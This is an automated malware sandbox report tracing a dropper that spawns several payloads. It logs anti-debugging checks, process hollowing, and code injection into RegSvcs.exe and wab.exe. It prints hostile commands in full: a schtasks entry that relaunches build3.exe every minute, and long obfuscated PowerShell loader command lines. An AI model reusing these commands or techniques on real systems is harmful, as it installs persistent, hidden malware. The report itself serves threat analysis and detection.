Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: ddrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.)
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: rayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\Def
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: 3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: 100-continue127.0.0.1:%d127.0.0.1:53152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc

Source: C:\Users\user\Desktop\a\wlanext.exe

API call chain: ExitProcess graph end node

graph_14-3620

Source: C:\Users\user\Desktop\a\spfasiazx.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\a\buildz.exe

Code function: 31_2_024CA71C rdtsc

31_2_024CA71C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_04B2D6F8 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

19_2_04B2D6F8

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D56B6B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00D56B6B

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D4C08C LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00D4C08C

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D5A292 mov eax, dword ptr fs:[00000030h]	11_2_00D5A292
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D5661B mov eax, dword ptr fs:[00000030h]	11_2_00D5661B
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_024C90A3 push dword ptr fs:[00000030h]	31_2_024C90A3
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02670042 push dword ptr fs:[00000030h]	31_2_02670042

Source: C:\Users\user\Desktop\a\Creal.exe

Code function: 18_2_00007FF738B83AF0 GetProcessHeap,

18_2_00007FF738B83AF0

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3DE0F SetUnhandledExceptionFilter,	11_2_00D3DE0F
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3D2DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00D3D2DC
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D56B6B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00D56B6B
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3DCAA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00D3DCAA
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B7ABD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF738B7ABD8
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B6BCE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00007FF738B6BCE0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B6C57C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF738B6C57C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B6C760 SetUnhandledExceptionFilter,	18_2_00007FF738B6C760

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D260A0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

11_2_00D260A0

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\a\spfasiazx.exe	Memory written: C:\Users\user\Desktop\a\spfasiazx.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Desktop\a\buildz.exe	Memory written: C:\Users\user\Desktop\a\buildz.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Desktop\a\buildz.exe	Memory written: C:\Users\user\Desktop\a\buildz.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Memory written: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Memory written: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Memory written: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Memory written: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: unknown target: unknown protection: execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe

Section unmapped: unknown base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000
Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000
Source: C:\Users\user\Desktop\a\alex.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: BEC008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2FF0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: C59008

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe "C:\Users\user\Desktop\a\spfasiazx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\build3.exe "C:\Users\user\Desktop\a\build3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\alex.exe "C:\Users\user\Desktop\a\alex.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\wlanext.exe "C:\Users\user\Desktop\a\wlanext.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe C:\Users\user\Desktop\a\spfasiazx.exe	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe "C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe"	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\a\wlanext.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2
Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\a\wlanext.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle minimized $fe32 = get-content 'c:\users\user\appdata\local\temp\daemonisk\prvelsens\noneclectically\recife\opfindendes\perlemoret\servitudes\margarines.pos' ; powershell.exe "$fe32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#radiosensitivities outerwear opsigelsesaftalernes spaanlst afstrmningens drosera polyteisterne #>$specterlikes = """he;udfmaumenrecletunibaofonma spvmaaanr p5co3th ef{es an sy x unphuaidrsiacomla(bi[ psautphr bihunshgsk]mi`$stetetcyaleglselerovnsne rsstiunt rrfaeklr pesl2ca4ba)ub; f yd`$pasklomilfocsmrdeeinmdye tr nnbieun s=ad s`$akedatsparogchescr ln he ls si ithirfeeunrryear2 s4sp.brlloeunnhagbat ehsu; k a pl do ph`$iml eotatseujas obkolhuo kmsissktope en aswe7vi3da p=re candae mwfo- counbbajfieuncsatdi rsbgry btfrede[ty] a rd(tf`$ ss aoinlgecenrtjemamunestrstnpaeva li/ja fo2al)at;te up`$svpbeosowdrs v= s'prs guun' s+pr'arbkosistrertei bnplgpr'ne;re i pr fr drfako frbu( r`$des qtcoaiskaki ftstt petrrcrt toinm ptaredeo bropilyshe= s0se;po zo`$kostotdeadakinihjt ot fe trgatfiosemtjt lesto krheiwisvu ar-chllitfi oo`$insteoovlrecder sespmbaepar inroesu;ns no`$uns ltsnacikdrioctshtseestrjatfloinmret eespoacrgaimrsme+an=mi2 a)me{pr mo vo me an ma p s gr`$ plproqut ausesdibsklcho hmtrssltoueeinkvs a7ke3st[pa`$hjs it paank midetlststewornotfoosumfutanesaoplrreiudske/mi2vi] c ch=sw sy[orcdioacnwavemefrrsetas]kl:kl:metkuoasb byaftkiebi(co`$muepatguaaag de qrilnanefesspi nt kr tedarjeeno2re4 p.me`$cop tonawmysbr.peihjnelv eohykanese(sa`$mas etmaafek ri ctlntkoeeprnet poism bt hesuo brknichsbr,ca vr2mi) d,in t1se6su)ps;ul pr ne`$ blhyo dtbuu sstib plcootumfasontstesenemsmu7sp3af[fo`$ ss ntfoaflkkai ltdottaevor btunohem atmaeinoblr siinsde/mo2cr] a u=un bs tuunbors pediwmeeagrse8pr ir`$stlobougtlousksvibtaldionomhjstotjaespnvasin7 s3mi[us`$nes ptnoakok pi bt tt dewartattso smbetdeedioadr misaser/br2de]cu re6 t4em;bi ma u ho sa} m an[arsfltmar kiapntrgce]le[fosrayunspstmiekamta.cotcoefrxcotsr. pegenolcbeowrdunihinnogre]tr:sa:frakasalcteichifr.vageneprtsmssitnorrui tnfagsc(pa`$stlreo vtrau hsndballpiomamgusintpaemendes s7 v3pu) q;un} a`$fus togagpanpoesiffoofigpre adbuepirstnpaesu0am=tovinaferli5no3ru di'la1te3th3en9sa3 e3sp3pr4kr2 s5 s2badla6unemi2be4tr2skc m2incba'ko;di`$srssyo agdrnpte tfaro ggtheopdste srhdnmiehy1an=slvaaaulr i5me3 b r' f0gadbu2hy9ov2 s3st3 p2vi2unfva3py3br2cofzo2un6sl3 a4mi6spe p1fe7 l2he9fa2 aera7po3cl7 q2li6 febo1tr5dr2the v3re3fl2 h1pr2po6de2sk5po0peedi2an1 b3 t4 c2re9 m3 i6 s2fa5me0 idek2pr5um3ba4ob2af8di2 cfor2un4mo3 f3ge' h;to`$nes ooafgaun tecafbuoutg wedadteechr anometh2de= rv kavirfu5ga3el ca'cu0fj7br2pe5in3st4di1un0ph3te2kn2fofun2 b3dy0sc1gr2sp4al2ou4fd3un2 w2 t5ah3le3pa3 b3me'ko;la`$thsecoungovnpaelyfsiocogudeund pesaramnnaeje3gi=kuvbyakor v5st3ar d'ke1ej3ho3 m9 l3 b3kr3to4br2ra5sl2rsdko6mae f1ro2bl3tv5 d2soe g3 a4de2re9id2redka2be5in6oeeva0 t9un2skere3sm4am2bu5su3st2ol2adfra3ly0re1 i3ga2et5fa3ya2 n3co6ba2 a9me2sk3ri2 r5fe3gr3 p6beevr0to8er2un1pr2ceeso2in4ef2jacma2gu5 o1sa2qu2sm5th2de6mo'va; p`$tusmaoptgapnmeehjf ro bgpieosdsle eraknlge f4fi= mvopaecrsc5an3zo hu' s3or3ra3un4 h3ti2il2fr9 t2fnein2
Source: C:\Users\user\Desktop\a\wlanext.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle minimized $fe32 = get-content 'c:\users\user\appdata\local\temp\daemonisk\prvelsens\noneclectically\recife\opfindendes\perlemoret\servitudes\margarines.pos' ; powershell.exe "$fe32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#radiosensitivities outerwear opsigelsesaftalernes spaanlst afstrmningens drosera polyteisterne #>$specterlikes = """he;udfmaumenrecletunibaofonma spvmaaanr p5co3th ef{es an sy x unphuaidrsiacomla(bi[ psautphr bihunshgsk]mi`$stetetcyaleglselerovnsne rsstiunt rrfaeklr pesl2ca4ba)ub; f yd`$pasklomilfocsmrdeeinmdye tr nnbieun s=ad s`$akedatsparogchescr ln he ls si ithirfeeunrryear2 s4sp.brlloeunnhagbat ehsu; k a pl do ph`$iml eotatseujas obkolhuo kmsissktope en aswe7vi3da p=re candae mwfo- counbbajfieuncsatdi rsbgry btfrede[ty] a rd(tf`$ ss aoinlgecenrtjemamunestrstnpaeva li/ja fo2al)at;te up`$svpbeosowdrs v= s'prs guun' s+pr'arbkosistrertei bnplgpr'ne;re i pr fr drfako frbu( r`$des qtcoaiskaki ftstt petrrcrt toinm ptaredeo bropilyshe= s0se;po zo`$kostotdeadakinihjt ot fe trgatfiosemtjt lesto krheiwisvu ar-chllitfi oo`$insteoovlrecder sespmbaepar inroesu;ns no`$uns ltsnacikdrioctshtseestrjatfloinmret eespoacrgaimrsme+an=mi2 a)me{pr mo vo me an ma p s gr`$ plproqut ausesdibsklcho hmtrssltoueeinkvs a7ke3st[pa`$hjs it paank midetlststewornotfoosumfutanesaoplrreiudske/mi2vi] c ch=sw sy[orcdioacnwavemefrrsetas]kl:kl:metkuoasb byaftkiebi(co`$muepatguaaag de qrilnanefesspi nt kr tedarjeeno2re4 p.me`$cop tonawmysbr.peihjnelv eohykanese(sa`$mas etmaafek ri ctlntkoeeprnet poism bt hesuo brknichsbr,ca vr2mi) d,in t1se6su)ps;ul pr ne`$ blhyo dtbuu sstib plcootumfasontstesenemsmu7sp3af[fo`$ ss ntfoaflkkai ltdottaevor btunohem atmaeinoblr siinsde/mo2cr] a u=un bs tuunbors pediwmeeagrse8pr ir`$stlobougtlousksvibtaldionomhjstotjaespnvasin7 s3mi[us`$nes ptnoakok pi bt tt dewartattso smbetdeedioadr misaser/br2de]cu re6 t4em;bi ma u ho sa} m an[arsfltmar kiapntrgce]le[fosrayunspstmiekamta.cotcoefrxcotsr. pegenolcbeowrdunihinnogre]tr:sa:frakasalcteichifr.vageneprtsmssitnorrui tnfagsc(pa`$stlreo vtrau hsndballpiomamgusintpaemendes s7 v3pu) q;un} a`$fus togagpanpoesiffoofigpre adbuepirstnpaesu0am=tovinaferli5no3ru di'la1te3th3en9sa3 e3sp3pr4kr2 s5 s2badla6unemi2be4tr2skc m2incba'ko;di`$srssyo agdrnpte tfaro ggtheopdste srhdnmiehy1an=slvaaaulr i5me3 b r' f0gadbu2hy9ov2 s3st3 p2vi2unfva3py3br2cofzo2un6sl3 a4mi6spe 